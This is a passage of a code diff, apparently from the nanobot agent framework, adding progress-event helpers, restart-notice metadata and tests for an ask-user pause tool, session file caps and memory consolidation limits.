raise FileSizeExceeded(f"File exceeds {limit // (1024 * 1024)}MB limit")
|
||||
ext = mimetypes.guess_extension(mime_type) or ".bin"
|
||||
filename = f"{uuid.uuid4().hex[:12]}{ext}"
|
||||
dest = media_dir / safe_filename(filename)
|
||||
dest.write_bytes(raw)
|
||||
return str(dest)
|
||||
@@ -0,0 +1,84 @@
|
||||
"""Structured progress-event helpers shared by agent runtimes."""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import inspect
|
||||
from collections.abc import Awaitable, Callable
|
||||
from typing import Any
|
||||
|
||||
from nanobot.agent.hook import AgentHookContext
|
||||
|
||||
|
||||
def on_progress_accepts_tool_events(cb: Callable[..., Any]) -> bool:
|
||||
try:
|
||||
sig = inspect.signature(cb)
|
||||
except (TypeError, ValueError):
|
||||
return False
|
||||
if any(p.kind == inspect.Parameter.VAR_KEYWORD for p in sig.parameters.values()):
|
||||
return True
|
||||
return "tool_events" in sig.parameters
|
||||
|
||||
|
||||
async def invoke_on_progress(
|
||||
on_progress: Callable[..., Awaitable[None]],
|
||||
content: str,
|
||||
*,
|
||||
tool_hint: bool = False,
|
||||
tool_events: list[dict[str, Any]] | None = None,
|
||||
) -> None:
|
||||
if tool_events and on_progress_accepts_tool_events(on_progress):
|
||||
await on_progress(content, tool_hint=tool_hint, tool_events=tool_events)
|
||||
return
|
||||
await on_progress(content, tool_hint=tool_hint)
|
||||
|
||||
|
||||
def build_tool_event_start_payload(tool_call: Any) -> dict[str, Any]:
|
||||
return {
|
||||
"version": 1,
|
||||
"phase": "start",
|
||||
"call_id": str(getattr(tool_call, "id", "") or ""),
|
||||
"name": getattr(tool_call, "name", ""),
|
||||
"arguments": getattr(tool_call, "arguments", {}) or {},
|
||||
"result": None,
|
||||
"error": None,
|
||||
"files": [],
|
||||
"embeds": [],
|
||||
}
|
||||
|
||||
|
||||
def tool_event_result_extras(result: Any) -> tuple[list[Any], list[Any]]:
|
||||
if not isinstance(result, dict):
|
||||
return [], []
|
||||
files = result.get("files") if isinstance(result.get("files"), list) else []
|
||||
embeds = result.get("embeds") if isinstance(result.get("embeds"), list) else []
|
||||
return files, embeds
|
||||
|
||||
|
||||
def build_tool_event_finish_payloads(context: AgentHookContext) -> list[dict[str, Any]]:
|
||||
payloads: list[dict[str, Any]] = []
|
||||
count = min(len(context.tool_calls), len(context.tool_results), len(context.tool_events))
|
||||
for idx in range(count):
|
||||
tool_call = context.tool_calls[idx]
|
||||
result = context.tool_results[idx]
|
||||
event = context.tool_events[idx] if isinstance(context.tool_events[idx], dict) else {}
|
||||
status = event.get("status")
|
||||
phase = "end" if status == "ok" else "error"
|
||||
files, embeds = tool_event_result_extras(result)
|
||||
payload = {
|
||||
"version": 1,
|
||||
"phase": phase,
|
||||
"call_id": str(getattr(tool_call, "id", "") or ""),
|
||||
"name": getattr(tool_call, "name", ""),
|
||||
"arguments": getattr(tool_call, "arguments", {}) or {},
|
||||
"result": result if phase == "end" else None,
|
||||
"error": None,
|
||||
"files": files,
|
||||
"embeds": embeds,
|
||||
}
|
||||
if phase == "error":
|
||||
if isinstance(result, str) and result.strip():
|
||||
payload["error"] = result.strip()
|
||||
else:
|
||||
payload["error"] = str(event.get("detail") or "Tool execution failed")
|
||||
payloads.append(payload)
|
||||
return payloads
|
||||
@@ -2,12 +2,15 @@
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import json
|
||||
import os
|
||||
import time
|
||||
from dataclasses import dataclass
|
||||
from dataclasses import dataclass, field
|
||||
from typing import Any
|
||||
|
||||
RESTART_NOTIFY_CHANNEL_ENV = "NANOBOT_RESTART_NOTIFY_CHANNEL"
|
||||
RESTART_NOTIFY_CHAT_ID_ENV = "NANOBOT_RESTART_NOTIFY_CHAT_ID"
|
||||
RESTART_NOTIFY_METADATA_ENV = "NANOBOT_RESTART_NOTIFY_METADATA"
|
||||
RESTART_STARTED_AT_ENV = "NANOBOT_RESTART_STARTED_AT"
|
||||
|
||||
|
||||
@@ -16,6 +19,7 @@ class RestartNotice:
|
||||
channel: str
|
||||
chat_id: str
|
||||
started_at_raw: str
|
||||
metadata: dict[str, Any] = field(default_factory=dict)
|
||||
|
||||
|
||||
def format_restart_completed_message(started_at_raw: str) -> str:
|
||||
@@ -30,11 +34,20 @@ def format_restart_completed_message(started_at_raw: str) -> str:
|
||||
return f"Restart completed{elapsed_suffix}."
|
||||
|
||||
|
||||
def set_restart_notice_to_env(*, channel: str, chat_id: str) -> None:
|
||||
def set_restart_notice_to_env(
|
||||
*, channel: str, chat_id: str, metadata: dict[str, Any] | None = None,
|
||||
) -> None:
|
||||
"""Write restart notice env values for the next process."""
|
||||
os.environ[RESTART_NOTIFY_CHANNEL_ENV] = channel
|
||||
os.environ[RESTART_NOTIFY_CHAT_ID_ENV] = chat_id
|
||||
os.environ[RESTART_STARTED_AT_ENV] = str(time.time())
|
||||
if metadata:
|
||||
try:
|
||||
os.environ[RESTART_NOTIFY_METADATA_ENV] = json.dumps(metadata, default=str)
|
||||
except (TypeError, ValueError):
|
||||
os.environ.pop(RESTART_NOTIFY_METADATA_ENV, None)
|
||||
else:
|
||||
os.environ.pop(RESTART_NOTIFY_METADATA_ENV, None)
|
||||
|
||||
|
||||
def consume_restart_notice_from_env() -> RestartNotice | None:
|
||||
@@ -42,9 +55,23 @@ def consume_restart_notice_from_env() -> RestartNotice | None:
|
||||
channel = os.environ.pop(RESTART_NOTIFY_CHANNEL_ENV, "").strip()
|
||||
chat_id = os.environ.pop(RESTART_NOTIFY_CHAT_ID_ENV, "").strip()
|
||||
started_at_raw = os.environ.pop(RESTART_STARTED_AT_ENV, "").strip()
|
||||
metadata_raw = os.environ.pop(RESTART_NOTIFY_METADATA_ENV, "").strip()
|
||||
if not (channel and chat_id):
|
||||
return None
|
||||
return RestartNotice(channel=channel, chat_id=chat_id, started_at_raw=started_at_raw)
|
||||
metadata: dict[str, Any] = {}
|
||||
if metadata_raw:
|
||||
try:
|
||||
parsed = json.loads(metadata_raw)
|
||||
except (TypeError, ValueError):
|
||||
parsed = None
|
||||
if isinstance(parsed, dict):
|
||||
metadata = parsed
|
||||
return RestartNotice(
|
||||
channel=channel,
|
||||
chat_id=chat_id,
|
||||
started_at_raw=started_at_raw,
|
||||
metadata=metadata,
|
||||
)
|
||||
|
||||
|
||||
def should_show_cli_restart_notice(notice: RestartNotice, session_id: str) -> bool:
|
||||
|
||||
@@ -0,0 +1,241 @@
|
||||
import asyncio
|
||||
from unittest.mock import MagicMock
|
||||
|
||||
import pytest
|
||||
|
||||
from nanobot.agent.loop import AgentLoop
|
||||
from nanobot.agent.runner import AgentRunner, AgentRunSpec
|
||||
from nanobot.agent.tools.ask import AskUserInterrupt, AskUserTool
|
||||
from nanobot.agent.tools.base import Tool, tool_parameters
|
||||
from nanobot.agent.tools.registry import ToolRegistry
|
||||
from nanobot.agent.tools.schema import tool_parameters_schema
|
||||
from nanobot.bus.events import InboundMessage
|
||||
from nanobot.bus.queue import MessageBus
|
||||
from nanobot.providers.base import GenerationSettings, LLMResponse, ToolCallRequest
|
||||
|
||||
|
||||
def _make_provider(chat_with_retry):
|
||||
async def chat_stream_with_retry(**kwargs):
|
||||
kwargs.pop("on_content_delta", None)
|
||||
return await chat_with_retry(**kwargs)
|
||||
|
||||
provider = MagicMock()
|
||||
provider.get_default_model.return_value = "test-model"
|
||||
provider.generation = GenerationSettings()
|
||||
provider.chat_with_retry = chat_with_retry
|
||||
provider.chat_stream_with_retry = chat_stream_with_retry
|
||||
return provider
|
||||
|
||||
|
||||
def test_ask_user_tool_schema_and_interrupt():
|
||||
tool = AskUserTool()
|
||||
schema = tool.to_schema()["function"]
|
||||
|
||||
assert schema["name"] == "ask_user"
|
||||
assert "question" in schema["parameters"]["required"]
|
||||
assert schema["parameters"]["properties"]["options"]["type"] == "array"
|
||||
|
||||
with pytest.raises(AskUserInterrupt) as exc:
|
||||
asyncio.run(tool.execute("Continue?", options=["Yes", "No"]))
|
||||
|
||||
assert exc.value.question == "Continue?"
|
||||
assert exc.value.options == ["Yes", "No"]
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_runner_pauses_on_ask_user_without_executing_later_tools():
|
||||
@tool_parameters(tool_parameters_schema(required=[]))
|
||||
class LaterTool(Tool):
|
||||
called = False
|
||||
|
||||
@property
|
||||
def name(self) -> str:
|
||||
return "later"
|
||||
|
||||
@property
|
||||
def description(self) -> str:
|
||||
return "Should not run after ask_user pauses the turn."
|
||||
|
||||
async def execute(self, **kwargs):
|
||||
self.called = True
|
||||
return "later result"
|
||||
|
||||
async def chat_with_retry(**kwargs):
|
||||
return LLMResponse(
|
||||
content="",
|
||||
finish_reason="tool_calls",
|
||||
tool_calls=[
|
||||
ToolCallRequest(
|
||||
id="call_ask",
|
||||
name="ask_user",
|
||||
arguments={"question": "Install this package?", "options": ["Yes", "No"]},
|
||||
),
|
||||
ToolCallRequest(id="call_later", name="later", arguments={}),
|
||||
],
|
||||
)
|
||||
|
||||
later = LaterTool()
|
||||
tools = ToolRegistry()
|
||||
tools.register(AskUserTool())
|
||||
tools.register(later)
|
||||
|
||||
result = await AgentRunner(_make_provider(chat_with_retry)).run(AgentRunSpec(
|
||||
initial_messages=[{"role": "user", "content": "continue"}],
|
||||
tools=tools,
|
||||
model="test-model",
|
||||
max_iterations=3,
|
||||
max_tool_result_chars=16_000,
|
||||
concurrent_tools=True,
|
||||
))
|
||||
|
||||
assert result.stop_reason == "ask_user"
|
||||
assert result.final_content == "Install this package?"
|
||||
assert "ask_user" in result.tools_used
|
||||
assert later.called is False
|
||||
assert result.messages[-1]["role"] == "assistant"
|
||||
tool_calls = result.messages[-1]["tool_calls"]
|
||||
assert [tool_call["function"]["name"] for tool_call in tool_calls] == ["ask_user"]
|
||||
assert not any(message.get("name") == "ask_user" for message in result.messages)
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_ask_user_text_fallback_resumes_with_next_message(tmp_path):
|
||||
seen_messages: list[list[dict]] = []
|
||||
|
||||
async def chat_with_retry(**kwargs):
|
||||
seen_messages.append(kwargs["messages"])
|
||||
if len(seen_messages) == 1:
|
||||
return LLMResponse(
|
||||
content="",
|
||||
finish_reason="tool_calls",
|
||||
tool_calls=[
|
||||
ToolCallRequest(
|
||||
id="call_ask",
|
||||
name="ask_user",
|
||||
arguments={
|
||||
"question": "Install the optional package?",
|
||||
"options": ["Install", "Skip"],
|
||||
},
|
||||
)
|
||||
],
|
||||
)
|
||||
return LLMResponse(content="Skipped install.", usage={})
|
||||
|
||||
loop = AgentLoop(
|
||||
bus=MessageBus(),
|
||||
provider=_make_provider(chat_with_retry),
|
||||
workspace=tmp_path,
|
||||
model="test-model",
|
||||
)
|
||||
|
||||
async def on_stream(delta: str) -> None:
|
||||
pass
|
||||
|
||||
async def on_stream_end(**kwargs) -> None:
|
||||
pass
|
||||
|
||||
first = await loop._process_message(
|
||||
InboundMessage(channel="cli", sender_id="user", chat_id="direct", content="set it up"),
|
||||
on_stream=on_stream,
|
||||
on_stream_end=on_stream_end,
|
||||
)
|
||||
|
||||
assert first is not None
|
||||
assert first.content == "Install the optional package?\n\n1. Install\n2. Skip"
|
||||
assert first.buttons == []
|
||||
assert "_streamed" not in first.metadata
|
||||
|
||||
session = loop.sessions.get_or_create("cli:direct")
|
||||
assert any(message.get("role") == "assistant" and message.get("tool_calls") for message in session.messages)
|
||||
assert not any(message.get("role") == "tool" and message.get("name") == "ask_user" for message in session.messages)
|
||||
|
||||
second = await loop._process_message(
|
||||
InboundMessage(channel="cli", sender_id="user", chat_id="direct", content="Skip")
|
||||
)
|
||||
|
||||
assert second is not None
|
||||
assert second.content == "Skipped install."
|
||||
assert any(
|
||||
message.get("role") == "tool"
|
||||
and message.get("name") == "ask_user"
|
||||
and message.get("content") == "Skip"
|
||||
for message in seen_messages[-1]
|
||||
)
|
||||
assert not any(
|
||||
message.get("role") == "user" and message.get("content") == "Skip"
|
||||
for message in session.messages
|
||||
)
|
||||
assert any(
|
||||
message.get("role") == "tool"
|
||||
and message.get("name") == "ask_user"
|
||||
and message.get("content") == "Skip"
|
||||
for message in session.messages
|
||||
)
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_ask_user_keeps_buttons_for_telegram(tmp_path):
|
||||
async def chat_with_retry(**kwargs):
|
||||
return LLMResponse(
|
||||
content="",
|
||||
finish_reason="tool_calls",
|
||||
tool_calls=[
|
||||
ToolCallRequest(
|
||||
id="call_ask",
|
||||
name="ask_user",
|
||||
arguments={
|
||||
"question": "Install the optional package?",
|
||||
"options": ["Install", "Skip"],
|
||||
},
|
||||
)
|
||||
],
|
||||
)
|
||||
|
||||
loop = AgentLoop(
|
||||
bus=MessageBus(),
|
||||
provider=_make_provider(chat_with_retry),
|
||||
workspace=tmp_path,
|
||||
model="test-model",
|
||||
)
|
||||
|
||||
response = await loop._process_message(
|
||||
InboundMessage(channel="telegram", sender_id="user", chat_id="123", content="set it up")
|
||||
)
|
||||
|
||||
assert response is not None
|
||||
assert response.content == "Install the optional package?"
|
||||
assert response.buttons == [["Install", "Skip"]]
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_ask_user_keeps_buttons_for_websocket(tmp_path):
|
||||
async def chat_with_retry(**kwargs):
|
||||
return LLMResponse(
|
||||
content="",
|
||||
finish_reason="tool_calls",
|
||||
tool_calls=[
|
||||
ToolCallRequest(
|
||||
id="call_ask",
|
||||
name="ask_user",
|
||||
arguments={
|
||||
"question": "Install the optional package?",
|
||||
"options": ["Install", "Skip"],
|
||||
},
|
||||
)
|
||||
],
|
||||
)
|
||||
|
||||
loop = AgentLoop(
|
||||
bus=MessageBus(),
|
||||
provider=_make_provider(chat_with_retry),
|
||||
workspace=tmp_path,
|
||||
model="test-model",
|
||||
)
|
||||
|
||||
response = await loop._process_message(
|
||||
InboundMessage(channel="websocket", sender_id="user", chat_id="123", content="set it up")
|
||||
)
|
||||
|
||||
assert response is not None
|
||||
assert response.content == "Install the optional package?"
|
||||
assert response.buttons == [["Install", "Skip"]]
|
||||
@@ -2,20 +2,23 @@
|
||||
|
||||
import asyncio
|
||||
from datetime import datetime, timedelta
|
||||
from unittest.mock import AsyncMock, MagicMock
|
||||
from pathlib import Path
|
||||
from unittest.mock import AsyncMock, MagicMock
|
||||
|
||||
import pytest
|
||||
|
||||
from nanobot.agent.loop import AgentLoop
|
||||
from nanobot.bus.events import InboundMessage
|
||||
from nanobot.bus.queue import MessageBus
|
||||
from nanobot.config.schema import AgentDefaults
|
||||
from nanobot.command import CommandContext
|
||||
from nanobot.config.schema import AgentDefaults
|
||||
from nanobot.providers.base import LLMResponse
|
||||
|
||||
|
||||
def _make_loop(tmp_path: Path, session_ttl_minutes: int = 15) -> AgentLoop:
|
||||
def _make_loop(
|
||||
tmp_path: Path,
|
||||
session_ttl_minutes: int = 15,
|
||||
) -> AgentLoop:
|
||||
"""Create a minimal AgentLoop for testing."""
|
||||
bus = MessageBus()
|
||||
provider = MagicMock()
|
||||
@@ -72,6 +75,11 @@ class TestSessionTTLConfig:
|
||||
assert data["idleCompactAfterMinutes"] == 30
|
||||
assert "sessionTtlMinutes" not in data
|
||||
|
||||
def test_session_file_cap_is_internal_constant(self):
|
||||
"""Session file cap should remain an internal constant, not a config field."""
|
||||
from nanobot.session.manager import FILE_MAX_MESSAGES
|
||||
assert FILE_MAX_MESSAGES == 2000
|
||||
|
||||
|
||||
class TestAgentLoopTTLParam:
|
||||
"""Test that AutoCompact receives and stores session_ttl_minutes."""
|
||||
@@ -86,6 +94,75 @@ class TestAgentLoopTTLParam:
|
||||
loop = _make_loop(tmp_path, session_ttl_minutes=0)
|
||||
assert loop.auto_compact._ttl == 0
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_process_message_reads_history_with_token_budget(self, tmp_path):
|
||||
"""_process_message should pass an auto-derived token budget to get_history."""
|
||||
loop = _make_loop(tmp_path)
|
||||
session = loop.sessions.get_or_create("cli:direct")
|
||||
session.get_history = MagicMock(return_value=[])
|
||||
loop.context.build_messages = MagicMock(return_value=[])
|
||||
loop._run_agent_loop = AsyncMock(return_value=("ok", [], [], "stop", False))
|
||||
loop._save_turn = MagicMock()
|
||||
|
||||
msg = InboundMessage(
|
||||
channel="cli",
|
||||
sender_id="u1",
|
||||
chat_id="direct",
|
||||
content="hello",
|
||||
)
|
||||
await loop._process_message(msg)
|
||||
session.get_history.assert_called_once()
|
||||
kwargs = session.get_history.call_args.kwargs
|
||||
assert isinstance(kwargs.get("max_tokens"), int)
|
||||
assert kwargs["max_tokens"] > 0
|
||||
assert kwargs["include_timestamps"] is True
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_session_file_cap_archives_and_trims_old_messages(self, tmp_path):
|
||||
loop = _make_loop(tmp_path)
|
||||
loop.context.memory.raw_archive = MagicMock()
|
||||
|
||||
for i in range(4):
|
||||
msg = InboundMessage(
|
||||
channel="cli",
|
||||
sender_id="u1",
|
||||
chat_id="direct",
|
||||
content=f"hello {i}",
|
||||
)
|
||||
await loop._process_message(msg)
|
||||
|
||||
session = loop.sessions.get_or_create("cli:direct")
|
||||
from nanobot.session.manager import FILE_MAX_MESSAGES
|
||||
assert len(session.messages) <= FILE_MAX_MESSAGES
|
||||
|
||||
def test_session_enforce_file_cap_skips_archive_when_dropped_prefix_already_consolidated(self, tmp_path):
|
||||
from nanobot.session.manager import Session
|
||||
archive_fn = MagicMock()
|
||||
session = Session(key="cli:direct")
|
||||
for i in range(8):
|
||||
session.add_message("user", f"u{i}")
|
||||
session.last_consolidated = 6
|
||||
|
||||
session.enforce_file_cap(on_archive=archive_fn, limit=4)
|
||||
|
||||
assert len(session.messages) <= 4
|
||||
archive_fn.assert_not_called()
|
||||
|
||||
def test_session_enforce_file_cap_archives_only_unconsolidated_dropped_prefix(self, tmp_path):
|
||||
from nanobot.session.manager import Session
|
||||
archive_fn = MagicMock()
|
||||
session = Session(key="cli:direct")
|
||||
for i in range(8):
|
||||
session.add_message("user", f"u{i}")
|
||||
session.last_consolidated = 2
|
||||
|
||||
session.enforce_file_cap(on_archive=archive_fn, limit=4)
|
||||
|
||||
assert len(session.messages) <= 4
|
||||
archive_fn.assert_called_once()
|
||||
archived = archive_fn.call_args.args[0]
|
||||
assert [m["content"] for m in archived] == ["u2", "u3"]
|
||||
|
||||
|
||||
class TestAutoCompact:
|
||||
"""Test the _archive method."""
|
||||
@@ -187,7 +264,6 @@ class TestAutoCompact:
|
||||
async def test_auto_compact_empty_session(self, tmp_path):
|
||||
"""_archive on empty session should not archive."""
|
||||
loop = _make_loop(tmp_path, session_ttl_minutes=15)
|
||||
session = loop.sessions.get_or_create("cli:test")
|
||||
|
||||
archive_called = False
|
||||
|
||||
|
||||
@@ -0,0 +1,108 @@
|
||||
"""Tests for configurable consolidation_ratio."""
|
||||
|
||||
from unittest.mock import AsyncMock, MagicMock
|
||||
|
||||
import pytest
|
||||
from pydantic import ValidationError
|
||||
|
||||
import nanobot.agent.memory as memory_module
|
||||
from nanobot.agent.loop import AgentLoop
|
||||
from nanobot.bus.queue import MessageBus
|
||||
from nanobot.config.schema import AgentDefaults
|
||||
from nanobot.providers.base import GenerationSettings, LLMResponse
|
||||
|
||||
|
||||
def _make_loop(
|
||||
tmp_path,
|
||||
*,
|
||||
estimated_tokens: int = 0,
|
||||
context_window_tokens: int = 200,
|
||||
consolidation_ratio: float = 0.5,
|
||||
) -> AgentLoop:
|
||||
provider = MagicMock()
|
||||
provider.get_default_model.return_value = "test-model"
|
||||
provider.generation = GenerationSettings(max_tokens=0)
|
||||
provider.estimate_prompt_tokens.return_value = (estimated_tokens, "test-counter")
|
||||
_response = LLMResponse(content="ok", tool_calls=[])
|
||||
provider.chat_with_retry = AsyncMock(return_value=_response)
|
||||
provider.chat_stream_with_retry = AsyncMock(return_value=_response)
|
||||
|
||||
loop = AgentLoop(
|
||||
bus=MessageBus(),
|
||||
provider=provider,
|
||||
workspace=tmp_path,
|
||||
model="test-model",
|
||||
context_window_tokens=context_window_tokens,
|
||||
consolidation_ratio=consolidation_ratio,
|
||||
)
|
||||
loop.tools.get_definitions = MagicMock(return_value=[])
|
||||
loop.consolidator._SAFETY_BUFFER = 0
|
||||
return loop
|
||||
|
||||
|
||||
def _session_with_turns(loop: AgentLoop, *, turns: int):
|
||||
session = loop.sessions.get_or_create("cli:test")
|
||||
session.messages = []
|
||||
for i in range(turns):
|
||||
session.messages.append({"role": "user", "content": f"u{i}", "timestamp": f"2026-01-01T00:00:{i:02d}"})
|
||||
session.messages.append({"role": "assistant", "content": f"a{i}", "timestamp": f"2026-01-01T00:01:{i:02d}"})
|
||||
loop.sessions.save(session)
|
||||
return session
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
@pytest.mark.parametrize(
|
||||
("ratio", "context_window_tokens", "estimates", "expected_archives"),
|
||||
[
|
||||
(0.5, 200, [250, 90], 1),
|
||||
(0.1, 1000, [1200, 800, 400, 50], 2),
|
||||
(0.9, 200, [300, 175], 1),
|
||||
],
|
||||
)
|
||||
async def test_consolidation_ratio_controls_target(
|
||||
tmp_path,
|
||||
monkeypatch,
|
||||
ratio: float,
|
||||
context_window_tokens: int,
|
||||
estimates: list[int],
|
||||
expected_archives: int,
|
||||
) -> None:
|
||||
loop = _make_loop(
|
||||
tmp_path,
|
||||
context_window_tokens=context_window_tokens,
|
||||
consolidation_ratio=ratio,
|
||||
)
|
||||
loop.consolidator.archive = AsyncMock(return_value=True) # type: ignore[method-assign]
|
||||
session = _session_with_turns(loop, turns=10)
|
||||
|
||||
remaining_estimates = list(estimates)
|
||||
|
||||
def mock_estimate(_session, *, session_summary=None):
|
||||
assert session_summary is None
|
||||
return (remaining_estimates.pop(0), "test")
|
||||
|
||||
loop.consolidator.estimate_session_prompt_tokens = mock_estimate # type: ignore[method-assign]
|
||||
monkeypatch.setattr(memory_module, "estimate_message_tokens", lambda _m: 100)
|
||||
|
||||
await loop.consolidator.maybe_consolidate_by_tokens(session)
|
||||
|
||||
assert loop.consolidator.archive.await_count == expected_archives
|
||||
|
||||
|
||||
def test_ratio_propagated_from_config_schema() -> None:
|
||||
defaults = AgentDefaults()
|
||||
assert defaults.consolidation_ratio == 0.5
|
||||
|
||||
defaults = AgentDefaults.model_validate({"consolidationRatio": 0.3})
|
||||
assert defaults.consolidation_ratio == 0.3
|
||||
|
||||
dumped = defaults.model_dump(by_alias=True)
|
||||
assert dumped["consolidationRatio"] == 0.3
|
||||
|
||||
|
||||
def test_ratio_validation_rejects_out_of_range() -> None:
|
||||
with pytest.raises(ValidationError):
|
||||
AgentDefaults(consolidation_ratio=0.05)
|
||||
|
||||
with pytest.raises(ValidationError):
|
||||
AgentDefaults(consolidation_ratio=1.0)
|
||||
@@ -4,7 +4,12 @@ import pytest
|
||||
import asyncio
|
||||
from unittest.mock import AsyncMock, MagicMock, patch
|
||||
|
||||
from nanobot.agent.memory import Consolidator, MemoryStore
|
||||
from nanobot.agent.memory import (
|
||||
Consolidator,
|
||||
MemoryStore,
|
||||
_ARCHIVE_SUMMARY_MAX_CHARS,
|
||||
_RAW_ARCHIVE_MAX_CHARS,
|
||||
)
|
||||
|
||||
|
||||
@pytest.fixture
|
||||
@@ -117,8 +122,8 @@ class TestConsolidatorTokenBudget:
|
||||
await consolidator.maybe_consolidate_by_tokens(session)
|
||||
consolidator.archive.assert_not_called()
|
||||
|
||||
async def test_chunk_cap_preserves_user_turn_boundary(self, consolidator):
|
||||
"""Chunk cap should rewind to the last user boundary within the cap."""
|
||||
async def test_large_chunk_archived_without_cap(self, consolidator):
|
||||
"""Without chunk cap, the full range from pick_consolidation_boundary is archived."""
|
||||
consolidator._SAFETY_BUFFER = 0
|
||||
session = MagicMock()
|
||||
session.last_consolidated = 0
|
||||
@@ -133,19 +138,69 @@ class TestConsolidatorTokenBudget:
|
||||
consolidator.estimate_session_prompt_tokens = MagicMock(
|
||||
side_effect=[(1200, "tiktoken"), (400, "tiktoken")]
|
||||
)
|
||||
consolidator.pick_consolidation_boundary = MagicMock(return_value=(61, 999))
|
||||
# Use real pick_consolidation_boundary — it will find boundary at idx=50
|
||||
# (user message at 50, token budget met)
|
||||
consolidator.archive = AsyncMock(return_value=True)
|
||||
|
||||
await consolidator.maybe_consolidate_by_tokens(session)
|
||||
|
||||
archived_chunk = consolidator.archive.await_args.args[0]
|
||||
assert len(archived_chunk) == 50
|
||||
# pick_consolidation_boundary returns (50, tokens) — user turn at idx 50
|
||||
assert archived_chunk[0]["content"] == "m0"
|
||||
assert archived_chunk[-1]["content"] == "m49"
|
||||
assert session.last_consolidated > 0
|
||||
|
||||
async def test_raw_archive_fallback_advances_last_consolidated(self, consolidator):
|
||||
"""When archive() falls back to raw-archive (LLM failed), the cursor
|
||||
must still advance. Otherwise the same chunk gets raw-archived again
|
||||
on every subsequent maybe_consolidate_by_tokens() call, spamming
|
||||
duplicate [RAW] entries into history.jsonl."""
|
||||
consolidator._SAFETY_BUFFER = 0
|
||||
session = MagicMock()
|
||||
session.last_consolidated = 0
|
||||
session.key = "test:key"
|
||||
session.messages = [
|
||||
{"role": "user" if i in {0, 50} else "assistant", "content": f"m{i}"}
|
||||
for i in range(70)
|
||||
]
|
||||
session.metadata = {}
|
||||
consolidator.estimate_session_prompt_tokens = MagicMock(
|
||||
side_effect=[(1200, "tiktoken"), (400, "tiktoken")]
|
||||
)
|
||||
# LLM consolidation fails — archive() returns None (raw_archive fired).
|
||||
consolidator.archive = AsyncMock(return_value=None)
|
||||
|
||||
await consolidator.maybe_consolidate_by_tokens(session)
|
||||
|
||||
consolidator.archive.assert_awaited_once()
|
||||
# The chunk is considered "materialized" (as a raw-archive breadcrumb),
|
||||
# so last_consolidated must have moved past it.
|
||||
assert session.last_consolidated == 50
|
||||
|
||||
async def test_chunk_cap_skips_when_no_user_boundary_within_cap(self, consolidator):
|
||||
"""If the cap would cut mid-turn, consolidation should skip that round."""
|
||||
async def test_raw_archive_fallback_breaks_round_loop(self, consolidator):
|
||||
"""A degraded LLM should not trigger more archive() calls within the
|
||||
same maybe_consolidate_by_tokens invocation — bail after one fallback."""
|
||||
consolidator._SAFETY_BUFFER = 0
|
||||
session = MagicMock()
|
||||
session.last_consolidated = 0
|
||||
session.key = "test:key"
|
||||
session.messages = [
|
||||
{"role": "user" if i in {0, 20, 40, 60} else "assistant", "content": f"m{i}"}
|
||||
for i in range(70)
|
||||
]
|
||||
session.metadata = {}
|
||||
# Keep estimates high so the loop would otherwise run multiple rounds.
|
||||
consolidator.estimate_session_prompt_tokens = MagicMock(
|
||||
return_value=(1200, "tiktoken")
|
||||
)
|
||||
consolidator.archive = AsyncMock(return_value=None)
|
||||
|
||||
await consolidator.maybe_consolidate_by_tokens(session)
|
||||
|
||||
# Exactly one fallback per call — not _MAX_CONSOLIDATION_ROUNDS.
|
||||
assert consolidator.archive.await_count == 1
|
||||
|
||||
async def test_boundary_respected_when_no_intermediate_user_turn(self, consolidator):
|
||||
"""When boundary points past a long tool chain, the full chunk is archived."""
|
||||
consolidator._SAFETY_BUFFER = 0
|
||||
session = MagicMock()
|
||||
session.last_consolidated = 0
|
||||
@@ -157,11 +212,106 @@ class TestConsolidatorTokenBudget:
|
||||
}
|
||||
for i in range(70)
|
||||
]
|
||||
consolidator.estimate_session_prompt_tokens = MagicMock(return_value=(1200, "tiktoken"))
|
||||
consolidator.pick_consolidation_boundary = MagicMock(return_value=(61, 999))
|
||||
consolidator.estimate_session_prompt_tokens = MagicMock(
|
||||
side_effect=[(1200, "tiktoken"), (400, "tiktoken")]
|
||||
)
|
||||
consolidator.archive = AsyncMock(return_value=True)
|
||||
|
||||
await consolidator.maybe_consolidate_by_tokens(session)
|
||||
|
||||
consolidator.archive.assert_not_awaited()
|
||||
assert session.last_consolidated == 0
|
||||
consolidator.archive.assert_awaited_once()
|
||||
# pick_consolidation_boundary finds the only boundary at idx=61
|
||||
assert session.last_consolidated == 61
|
||||
|
||||
|
||||
class TestRawArchiveTruncation:
|
||||
"""raw_archive() must cap entry size to avoid bloating history.jsonl."""
|
||||
|
||||
def test_raw_archive_truncates_large_content(self, store):
|
||||
"""Large messages should be truncated to _RAW_ARCHIVE_MAX_CHARS."""
|
||||
big = "x" * 50_000
|
||||
messages = [{"role": "user", "content": big}]
|
||||
store.raw_archive(messages)
|
||||
entries = store.read_unprocessed_history(since_cursor=0)
|
||||
assert len(entries) == 1
|
||||
assert len(entries[0]["content"]) < 50_000
|
||||
assert "[RAW]" in entries[0]["content"]
|
||||
|
||||
def test_raw_archive_preserves_small_content(self, store):
|
||||
"""Small messages should not be truncated."""
|
||||
messages = [{"role": "user", "content": "hello"}]
|
||||
store.raw_archive(messages)
|
||||
entries = store.read_unprocessed_history(since_cursor=0)
|
||||
assert len(entries) == 1
|
||||
assert "hello" in entries[0]["content"]
|
||||
|
||||
def test_raw_archive_custom_max_chars(self, store):
|
||||
"""max_chars parameter should override default limit."""
|
||||
messages = [{"role": "user", "content": "a" * 200}]
|
||||
store.raw_archive(messages, max_chars=100)
|
||||
entries = store.read_unprocessed_history(since_cursor=0)
|
||||
assert len(entries[0]["content"]) < 200
|
||||
|
||||
|
||||
class TestArchiveTruncation:
|
||||
"""archive() must truncate formatted text before sending to consolidation LLM."""
|
||||
|
||||
async def test_archive_truncates_large_formatted_text(self, consolidator, mock_provider, store):
|
||||
"""Large formatted text should be truncated to token budget before LLM call."""
|
||||
# context_window_tokens=1000, max_completion_tokens=100, _SAFETY_BUFFER=1024
|
||||
# budget = 1000 - 100 - 1024 = -124 → fallback via truncate_text(budget*4)
|
||||
big_messages = [{"role": "user", "content": "x" * 100_000}]
|
||||
